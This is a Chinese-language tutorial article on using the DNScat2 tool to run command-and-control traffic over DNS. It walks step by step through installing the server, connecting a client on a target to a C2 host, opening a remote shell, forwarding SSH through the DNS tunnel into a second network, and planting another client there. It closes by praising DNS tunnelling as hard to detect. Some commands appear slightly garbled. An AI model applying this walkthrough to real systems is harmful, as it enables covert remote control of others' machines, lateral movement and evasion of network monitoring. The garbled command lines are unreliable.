DNScat2工具:通过DNS进行C&C通信
导语:在今天这篇文章中,我们将通过DNScat2这个神器来学习DNS隧道技术。
介绍DNS
域名系统将URL和IP地址关联起来。有了DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。
当你在浏览器中输入域名访问网站时,它首先会向DNS服务器发送请求来查找域名对应的IP地址。找到IP地址之后,就会通过IP定位到对应的服务器然后获取网站的内容。令人惊讶的是,这整个过程仅仅只需要几毫秒。DNS默认是运行在53端口上。
介绍DNScat
DNScat堪称神器,因为它可以通过DNS协议创建C&C隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个shell。这个工具也是基于53端口的,所以你不需要对DNS服务器进行权威访问,只要通过53端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。
DNScat有服务端和客户端两个组件。要理解DNScat的工作原理,需要先了解这两个组件。
客户端是要安装在目标机器中并且保持着运行状态。它是用C语言编写的,满足最少的基本条件就可以运行。当你运行客户端时,你需要指定一个域名。因为所有数据包都会发送到本地DNS服务器上,然后会发送到合法的DNS服务器来查询域名(显然,这个域名是你可以控制的)。
服务端要在一个通用的DNS服务器上运行。它是基于ruby开发的,并且依赖于一些独特的gems。当你运行这个服务端时,跟客户端类似,你需要指定它通过53端口监听哪些域名。当它接收到其中一个域名的流量时,它就会尝试着去建立一个合法的连接。如果接收到其他流量,它也会自动忽略不管,当然,你也可以在上游进行转发。
安装
运行下面这条git命令来下载DNScat2:
git clone //github.com/iagox86/dnscat2.git
接下来安装bundler,因为它是DNScat2的一个主要依赖环境。要安装这个依赖,先进入到DNScat2的服务端目录,然后执行下面两条命令:
gem install bundler
bundle install
安装完依赖环境之后,执行下面这条命令来启动服务端:
ruby dnscat2.rb
同样地,在客户端主机上下载DNScat2,然后用make命令来编译,如下图:
要让客户端和服务端通信,执行下面这条命令即可:
./dnscat2 --dns-server=192.168.174.131,port=53
一旦连接建立起来之后,你可以在服务端看到存在一个会话,如下图。你可以用”sessions”命令来查看已经创建的会话。
要进入刚才建立的session并与其交互,执行下面这条命令:
session -i 1
现在你已经进入该session了,你可以使用”ping”命令来ping目标,如果收到回复”pong”,那么你的ping命令就执行成功了。
下图是客户端ping命令的响应:
此外,可以输入help命令来查看我们可以执行的所有命令和选项。如果你想进入shell,只要输入”shell”命令即可,它就会开启一个新的窗口,进入到目标系统的shell中。
与新的终端中打开的shell会话中进行交互,输入下面这两条命令:
windows session -i 2
当你进入session之后,你可以执行任意的shell命令,比如”uname -a”,如上图所示。
DNS隧道技术
DNScat2最好的一种攻击方式就是DNS隧道技术。如果在你的目标系统中执行ifconfig命令,有两个网络的话,如下图所示,那么执行DNS隧道技术就非常容易了。
建立DNS隧道转发,先执行以下命令:
listen 127.0.0.1:888 10.0.0.10:22
然后你就可以通过888端口来进行SSH连接了,命令如下:
ssh cell@127.0.0.1 -p 888
连接成功之后,你就可以使用’ifconfig’命令来查看你刚才进行隧道转发的网络,如下图所示:
由于你已经SSH连接到了第二个网络中,你也可以在这个网络中下载DNScat2,以便进行攻击。当你在这个网络中下载好了DNScat2,输入下面这条命令来执行,然后在你的DNScat2服务端去查看会话:
dnscat2.exe --dns+server+192.168.174.131,port+53
执行成功之后,你会获得一个新的会话,你可以通过sessions来查看会话,并且输入会话id来进入某个会话:
sessions session -i 2
进入会话之后,你就可以执行任意命令了。
而且你还能够执行systeminfo命令,这会显示第二个系统的详细信息,也就是你通过隧道技术拿到权限的系统。
总结
即使是在限制非常严格的情况下,DNS流量也应该是允许放行的。我们就可以利用DNS隧道技术在目标主机和我们的C&C服务器之间建立连接。命令和信息都包含在DNS查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。DNScat也正是利用了这一点才成为了一个非常不错的攻击工具。
发表评论